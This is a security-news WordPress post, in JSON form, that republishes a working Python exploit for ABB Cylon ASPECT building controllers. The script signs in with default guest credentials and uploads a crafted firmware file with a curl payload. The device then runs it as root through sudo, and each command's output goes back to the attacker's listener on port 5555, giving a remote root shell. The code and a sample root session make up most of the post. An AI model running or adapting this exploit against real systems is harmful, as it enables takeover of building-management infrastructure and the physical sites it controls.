{"id":5963,"date":"2025-05-25T09:36:15","date_gmt":"2025-05-25T09:36:15","guid":{"rendered":"http:\/\/localhost\/?p=5963"},"modified":"2025-05-25T09:36:15","modified_gmt":"2025-05-25T09:36:15","slug":"abb-cylon-aspect-30803-guest2root-privilege-escalation","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=5963","title":{"rendered":"ABB Cylon Aspect 3.08.03 &#8211; Guest2Root Privilege Escalation"},"content":{"rendered":"<h2>Exploit Details<\/h2>\n<h3>Basic Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit Title<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">ABB Cylon Aspect 3.08.03 &#8211; Guest2Root Privilege Escalation<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit ID<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">EDB-ID:52305<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Type<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">exploitdb<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Published<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-05-25T00:00:00<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Modified<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-05-25T00:00:00<\/td>\n<\/tr>\n<\/table>\n<h3>CVSS Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">CVSS Score<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">0.0<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Severity<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd; color: #666666; font-weight: bold;\">NONE<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Vector<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">NONE<\/td>\n<\/tr>\n<\/table>\n<h3>CVE Information<\/h3>\n<div style=\" padding: 15px; border: 1px solid #ddd; margin-bottom: 20px;\">\n<ul style=\"margin: 0; padding-left: 20px;\">\n<\/ul>\n<\/div>\n<h3>Exploit Description<\/h3>\n<div style=\" padding: 15px; border-left: 4px solid #4CAF50; margin-bottom: 20px;\">\n!\/usr\/bin\/env python   Exploit Title: ABB Cylon Aspect 3.08.03 &#8211; Guest2Root Privilege Escalation  &#8230;\n<\/div>\n<h3>Exploit Code<\/h3>\n<div style=\" color: #d4d4d4; padding: 15px; border: 1px solid #ddd; margin-bottom: 20px; font-family: 'Courier New', monospace; white-space: pre-wrap; overflow-x: auto;\">\n#!\/usr\/bin\/env python<br \/>\n<br \/>#<br \/>\n<br \/>#<br \/>\n<br \/># Exploit Title: ABB Cylon Aspect 3.08.03 &#8211; Guest2Root Privilege Escalation<br \/>\n<br \/>#<br \/>\n<br \/>#<br \/>\n<br \/># Vendor: ABB Ltd.<br \/>\n<br \/># Product web page: https:\/\/www.global.abb<br \/>\n<br \/># Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio<br \/>\n<br \/>#                   Firmware: <=3.08.03\n<br \/>#<br \/>\n<br \/># Summary: ASPECT is an award-winning scalable building energy management<br \/>\n<br \/># and control solution designed to allow users seamless access to their<br \/>\n<br \/># building data through standard building protocols including smart devices.<br \/>\n<br \/>#<br \/>\n<br \/># Desc: The ABB BMS\/BAS controller is vulnerable to code execution and sudo<br \/>\n<br \/># misconfiguration flaws. An authenticated remote code execution vulnerability<br \/>\n<br \/># in the firmware update mechanism allows an attacker with valid credentials to<br \/>\n<br \/># escalate privileges and execute commands as root. The process involves uploading<br \/>\n<br \/># a crafted .bsx file through projectUpdateBSXFileProcess.php, which is then moved<br \/>\n<br \/># to htmlroot and executed by projectUpdateBSXExecute.php. This script leverages<br \/>\n<br \/># sudo to run the uploaded bsx file, enabling the attacker to bypass input validation<br \/>\n<br \/># checks and execute arbitrary code, leading to full system compromise and unauthorized<br \/>\n<br \/># root access.<br \/>\n<br \/>#<br \/>\n<br \/># &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>\n<br \/>#<br \/>\n<br \/># $ .\/bsxroot.py 192.168.73.31 192.168.73.9 &#8211;creds guest:guest<br \/>\n<br \/># [o] Exploit starting at 21.05.2025 12:33:47<br \/>\n<br \/># [o] Using credentials: guest:*****<br \/>\n<br \/># [o] Auth successfull.<br \/>\n<br \/># [o] PHPSESSID: g02p9tnog4d2r1z4eha1e9e688<br \/>\n<br \/># [o] Listening on 192.168.73.9:5555&#8230;<br \/>\n<br \/># [o] Building name: [&#8220;Tower 3&#8221;]<br \/>\n<br \/># [o] runtime.ver=v3.08.03<br \/>\n<br \/># [+] -> [virtual] rootshell<br \/>\n<br \/>#<br \/>\n<br \/># # id<br \/>\n<br \/># uid=0(root) gid=0(root) groups=0(root)<br \/>\n<br \/># # pwd<br \/>\n<br \/># \/home\/MIX_CMIX\/htmlroot<br \/>\n<br \/># exit<br \/>\n<br \/># [o] Removing callback file.<br \/>\n<br \/># [!] Connection terminated.<br \/>\n<br \/>#<br \/>\n<br \/># &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>\n<br \/>#<br \/>\n<br \/>#<br \/>\n<br \/># Tested on: GNU\/Linux 3.15.10 (armv7l)<br \/>\n<br \/>#            GNU\/Linux 3.10.0 (x86_64)<br \/>\n<br \/>#            GNU\/Linux 2.6.32 (x86_64)<br \/>\n<br \/>#            Intel(R) Atom(TM) Processor E3930 @ 1.30GHz<br \/>\n<br \/>#            Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz<br \/>\n<br \/>#            PHP\/7.3.11<br \/>\n<br \/>#            PHP\/5.6.30<br \/>\n<br \/>#            PHP\/5.4.16<br \/>\n<br \/>#            PHP\/4.4.8<br \/>\n<br \/>#            PHP\/5.3.3<br \/>\n<br \/>#            AspectFT Automation Application Server<br \/>\n<br \/>#            lighttpd\/1.4.32<br \/>\n<br \/>#            lighttpd\/1.4.18<br \/>\n<br \/>#            Apache\/2.2.15 (CentOS)<br \/>\n<br \/>#            OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)<br \/>\n<br \/>#            OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)<br \/>\n<br \/>#<br \/>\n<br \/>#<br \/>\n<br \/># Vulnerability discovered by Gjoko &#8216;LiquidWorm&#8217; Krstic<br \/>\n<br \/>#                             @zeroscience<br \/>\n<br \/>#<br \/>\n<br \/>#<br \/>\n<br \/># Advisory ID: ZSL-2025-5947<br \/>\n<br \/># Advisory URL: https:\/\/www.zeroscience.mk\/en\/vulnerabilities\/ZSL-2025-5947.php<br \/>\n<br \/>#<br \/>\n<br \/>#<br \/>\n<br \/># 21.04.2024<br \/>\n<br \/>#<br \/>\n<br \/>#<\/p>\n<p>from colorama import init, Fore<br \/>\n<br \/>from urllib.parse import quote<br \/>\n<br \/>from time import sleep<br \/>\n<br \/>import threading<br \/>\n<br \/>import datetime<br \/>\n<br \/>import requests<br \/>\n<br \/>import socket<br \/>\n<br \/>import re<br \/>\n<br \/>import os<br \/>\n<br \/>import sys<\/p>\n<p>init()<\/p>\n<p>def safe(*trigger, ):<br \/>\n<br \/>    return True<\/p>\n<p>def auth(target_ip, user, pwd):<br \/>\n<br \/>    login_ep = f&#8221;http:\/\/{target_ip}\/validate\/login.php&#8221;<br \/>\n<br \/>    payload = {<br \/>\n<br \/>        &#8216;f_user&#8217; : user, # &#8216;aamuser, guest&#8217;<br \/>\n<br \/>        &#8216;f_pass&#8217; : pwd, # &#8216;default, guest&#8217;<br \/>\n<br \/>        &#8216;submit&#8217; : &#8216;Login&#8217;<br \/>\n<br \/>    }<br \/>\n<br \/>    sess = requests.Session()<br \/>\n<br \/>    r = sess.post(login_ep, data=payload)<br \/>\n<br \/>    if r.status_code == 200 and &#8216;PHPSESSID&#8217; in sess.cookies:<br \/>\n<br \/>        print(&#8220;[o] Auth successfull.&#8221;)<br \/>\n<br \/>        phpsessid = sess.cookies.get(&#8216;PHPSESSID&#8217;)<br \/>\n<br \/>        print(&#8220;[o] PHPSESSID:&#8221;, phpsessid)<br \/>\n<br \/>        return sess.cookies<br \/>\n<br \/>    else:<br \/>\n<br \/>        print(&#8220;[!] Auth failed.&#8221;)<br \/>\n<br \/>        return None<\/p>\n<p>def kacuj(target_ip, listen_ip, cmd, token=None, cookies=None):<br \/>\n<br \/>    agentwho = &#8220;NetRanger\/84.19&#8221;<br \/>\n<br \/>    payload = f&#8221;curl -A \\&#8221;`{cmd}`\\&#8221; {listen_ip}:5555&#8243;<br \/>\n<br \/>    url = f&#8221;http:\/\/{target_ip}\/projectUpdateBSXFileProcess.php&#8221;<\/p>\n<p>    headers = {<br \/>\n<br \/>        &#8220;Content-Type&#8221;: &#8220;multipart\/form-data; boundary=&#8212;-zeroscience&#8221;,<br \/>\n<br \/>        &#8220;User-Agent&#8221;: agentwho<br \/>\n<br \/>    }<br \/>\n<br \/>    data = (<br \/>\n<br \/>        &#8220;&#8212;&#8212;zeroscience\\r\\n&#8221;<br \/>\n<br \/>        f&#8221;Content-Disposition: form-data; name=\\&#8221;userfile\\&#8221;; filename={AAM}\\r\\n&#8221;<br \/>\n<br \/>        &#8220;Content-Type: application\/octet-stream\\r\\n\\r\\n&#8221;<br \/>\n<br \/>        f&#8221;{payload}\\r\\n&#8221;<br \/>\n<br \/>        &#8216;&#8212;&#8212;zeroscience&#8211;\\r\\n&#8217;<br \/>\n<br \/>    )<br \/>\n<br \/>    try:<br \/>\n<br \/>        r = requests.post(url, headers=headers, data=data, cookies=cookies)<br \/>\n<br \/>        if r.status_code == 200:<br \/>\n<br \/>            url_execute = f&#8221;http:\/\/{target_ip}\/projectUpdateBSXExecute.php?file={AAM}&#8221;<br \/>\n<br \/>            r = requests.get(url_execute, cookies=cookies)<\/p>\n<p>            return r.content<\/p>\n<p>    except requests.exceptions.RequestException as e:<br \/>\n<br \/>        print(f&#8221;[!] Error sending payload: {e}&#8221;)<\/p>\n<p>    return None<\/p>\n<p>def koj_slusha(listen_ip):<br \/>\n<br \/>    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br \/>\n<br \/>    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)<br \/>\n<br \/>    s.bind((&#8220;0.0.0.0&#8221;, 5555))<br \/>\n<br \/>    s.listen(1)<\/p>\n<p>    print(f&#8221;[o] Listening on {listen_ip}:5555&#8230;&#8221;)<\/p>\n<p>    while True:<br \/>\n<br \/>        conn, addr = s.accept()<br \/>\n<br \/>        try:<br \/>\n<br \/>            data = conn.recv(9999)<br \/>\n<br \/>            if not data:<br \/>\n<br \/>                print(&#8220;[!] Connection closed by remote host.&#8221;)<br \/>\n<br \/>                break<br \/>\n<br \/>            dd = data.decode(&#8220;utf-8&#8243;, errors=&#8221;ignore&#8221;)<br \/>\n<br \/>            uam = re.search(r&#8221;User-Agent:\\s*(.*)\\s*Host:&#8221;, dd, re.DOTALL)<br \/>\n<br \/>            if uam:<br \/>\n<br \/>                print(uam.group(1), end=&#8221;&#8221;)<br \/>\n<br \/>            else:<br \/>\n<br \/>                print<br \/>\n<br \/>                #print(f&#8221;[o] Full response:\\n{dd}&#8221;)<br \/>\n<br \/>        except Exception as e:<br \/>\n<br \/>            print(f&#8221;[!] Error while receiving data: {e}&#8221;)<br \/>\n<br \/>        finally:<br \/>\n<br \/>            conn.close()<\/p>\n<p>def main():<br \/>\n<br \/>    if safe(True):<br \/>\n<br \/>        print(&#8220;\\nSafety: \\033[92mON\\033[0m&#8221;)<br \/>\n<br \/>        exit(-17)<br \/>\n<br \/>    else:<br \/>\n<br \/>        next<\/p>\n<p>    global AAM<br \/>\n<br \/>    global start<br \/>\n<br \/>    AAM = &#8220;firmware.bsx&#8221;<\/p>\n<p>    start = datetime.datetime.now()<br \/>\n<br \/>    start = start.strftime(&#8220;%d.%m.%Y %H:%M:%S&#8221;)<br \/>\n<br \/>    title = &#8220;\\033[96mABB Cylon\u00ae ASPECT\u00ae Supervisory Building Control v3.08.03\\033[0m&#8221;<br \/>\n<br \/>    subtl = &#8220;\\033[95m\\t\\t-> Remote Root Exploit <-\\033[0m\"\n<br \/>    prj = f&#8221;&#8221;&#8221;<br \/>\n<br \/>                 P   R   O   J   E   C   T\\033[90m<\/p>\n<p>                        .|<br \/>\n<br \/>                        | |<br \/>\n<br \/>                        |&#8217;|            ._____<br \/>\n<br \/>                ___    |  |            |.   |&#8217; .&#8212;&#8220;|<br \/>\n<br \/>        _    .-&#8216;   &#8216;-. |  |     .&#8211;&#8216;|  ||   | _|    |<br \/>\n<br \/>     .-&#8216;|  _.|  |    ||   &#8216;-__  |   |  |    ||      |<br \/>\n<br \/>     |&#8217; | |.    |    ||       | |   |  |    ||      |<br \/>\n<br \/> ____|  &#8216;-&#8216;     &#8216;    &#8220;&#8221;       &#8216;-&#8216;   &#8216;-.&#8217;    &#8216;`      |____<br \/>\n<br \/>\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591 \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591<br \/>\n<br \/>\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591<br \/>\n<br \/>\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591<br \/>\n<br \/>\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591<br \/>\n<br \/>\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591<br \/>\n<br \/>\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591<br \/>\n<br \/>\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591<br \/>\n<br \/>         \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591 \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591<br \/>\n<br \/>         \u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591<br \/>\n<br \/>         \u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591<br \/>\n<br \/>         \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2592\u2593\u2588\u2588\u2588\u2593\u2592\u2591<br \/>\n<br \/>         \u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591<br \/>\n<br \/>         \u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591<br \/>\n<br \/>         \u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591 \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591<br \/>\n<br \/>\\033[0m<br \/>\n<br \/> {title}<br \/>\n<br \/> {subtl}<br \/>\n<br \/>    &#8220;&#8221;&#8221;<br \/>\n<br \/>    if len(sys.argv) < 4:\n<br \/>        print(prj)<br \/>\n<br \/>        print(&#8220;.\/bsxroot.py <targetIP> <listenIP> <PHPSESSID \/ --creds user:pass>&#8220;)<br \/>\n<br \/>        sys.exit(-0)<\/p>\n<p>    target_ip = sys.argv[1]<br \/>\n<br \/>    listen_ip = sys.argv[2]<br \/>\n<br \/>    auth_arg = sys.argv[3]<\/p>\n<p>    print(&#8220;[o] Exploit starting at&#8221;, start)<\/p>\n<p>    if &#8220;&#8211;creds&#8221; in sys.argv:<br \/>\n<br \/>        creds_index = sys.argv.index(&#8220;&#8211;creds&#8221;) + 1<br \/>\n<br \/>        if creds_index >= len(sys.argv):<br \/>\n<br \/>            print(&#8220;[!] Error: Missing credentials after &#8211;creds.&#8221;)<br \/>\n<br \/>            sys.exit(-1)<\/p>\n<p>        user_pass = sys.argv[creds_index]<br \/>\n<br \/>        if &#8220;:&#8221; not in user_pass:<br \/>\n<br \/>            print(&#8220;[!] Error: Invalid credentials format. Expected format: user:pass.&#8221;)<br \/>\n<br \/>            sys.exit(-2)<\/p>\n<p>        user, pwd = user_pass.split(&#8220;:&#8221;)<br \/>\n<br \/>        print(f&#8221;[o] Using credentials: {user}:{&#8216;*&#8217; * len(pwd)}&#8221;)<br \/>\n<br \/>        cookies = auth(target_ip, user, pwd)<br \/>\n<br \/>    else:<br \/>\n<br \/>        token = auth_arg<br \/>\n<br \/>        cookies = {&#8220;PHPSESSID&#8221;: token}<br \/>\n<br \/>    if not cookies:<br \/>\n<br \/>        sys.exit(-3)<\/p>\n<p>    nishka = threading.Thread(target=koj_slusha, args=(listen_ip,))<br \/>\n<br \/>    nishka.daemon = True<br \/>\n<br \/>    nishka.start()<\/p>\n<p>    bacname = f&#8221;http:\/\/{target_ip}\/getApplicationNamesJS.php&#8221;<br \/>\n<br \/>    r = requests.get(bacname)<br \/>\n<br \/>    if r.status_code == 200:<br \/>\n<br \/>        try:<br \/>\n<br \/>            r = r.content<br \/>\n<br \/>            decor = r.decode(&#8220;utf-8&#8221;)<br \/>\n<br \/>        except UnicodeDecodeError:<br \/>\n<br \/>            decor = r.decode(&#8220;utf-8&#8243;, errors=&#8221;ignore&#8221;)<\/p>\n<p>        odg = re.search(r&#8221;var instanceDirectory=(.*?);&#8221;, decor)<br \/>\n<br \/>        if odg:<br \/>\n<br \/>            cmd = &#8220;echo -ne \\&#8221;[o] \\&#8221; ; cat runtime\/release.properties | grep -w &#8216;runtime.ver'&#8221;<br \/>\n<br \/>            print(&#8220;[o] Building name:&#8221;, odg.group(1))<br \/>\n<br \/>            kacuj(target_ip, listen_ip, cmd, token=None, cookies=cookies)<br \/>\n<br \/>            print(&#8220;\\033[92m[+] -> [virtual] rootshell\\033[0m\\n&#8221;)<br \/>\n<br \/>        else:<br \/>\n<br \/>            print(&#8220;[o] Unknown building name.&#8221;)<br \/>\n<br \/>    sleep(0.01)<\/p>\n<p>    while True:<br \/>\n<br \/>        sleep(0.01)<br \/>\n<br \/>        cmd = input(&#8220;# &#8220;)<br \/>\n<br \/>        if cmd.lower() in [&#8220;exit&#8221;, &#8220;quit&#8221;]:<br \/>\n<br \/>            print(&#8220;[o] Removing callback file.&#8221;)<br \/>\n<br \/>            kacuj(target_ip, listen_ip, &#8220;rm \/tmp\/&#8221; + AAM, token=None, cookies=cookies)<br \/>\n<br \/>            print(&#8220;\\033[91m[!] Connection terminated.\\033[0m&#8221;)<br \/>\n<br \/>            os._exit(-17)<\/p>\n<p>        kacuj(target_ip, listen_ip, cmd, token=None, cookies=cookies)<\/p>\n<p>    nishka.join()<\/p>\n<p>if __name__ == &#8220;__main__&#8221;:<br \/>\n<br \/>    main()\n<\/div>\n<p><a href=\"https:\/\/www.exploit-db.com\/exploits\/52305\" target=\"_blank\" style=\"display: inline-block;  color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;\">View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exploit Details Basic Information Exploit Title ABB Cylon Aspect 3.08.03 &#8211; Guest2Root Privilege Escalation Exploit ID EDB-ID:52305 Type exploitdb Published 2025-05-25T00:00:00 Modified 2025-05-25T00:00:00 CVSS Information&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,34,12,40,13,33,7,11,5],"class_list":["post-5963","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-00","tag-exploit","tag-exploitdb","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>ABB Cylon Aspect 3.08.03 - Guest2Root Privilege Escalation - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=5963\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"ABB Cylon Aspect 3.08.03 - Guest2Root Privilege Escalation - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title ABB Cylon Aspect 3.08.03 &#8211; Guest2Root Privilege Escalation Exploit ID EDB-ID:52305 Type exploitdb Published 2025-05-25T00:00:00 Modified 2025-05-25T00:00:00 CVSS Information...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=5963\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-05-25T09:36:15+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5963#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5963\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"ABB Cylon Aspect 3.08.03 &#8211; Guest2Root Privilege Escalation\",\"datePublished\":\"2025-05-25T09:36:15+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5963\"},\"wordCount\":773,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-0.0\",\"exploit\",\"exploitdb\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=5963#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5963\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5963\",\"name\":\"ABB Cylon Aspect 3.08.03 - Guest2Root Privilege Escalation - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-05-25T09:36:15+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5963#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=5963\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5963#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"ABB Cylon Aspect 3.08.03 &#8211; Guest2Root Privilege Escalation\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero 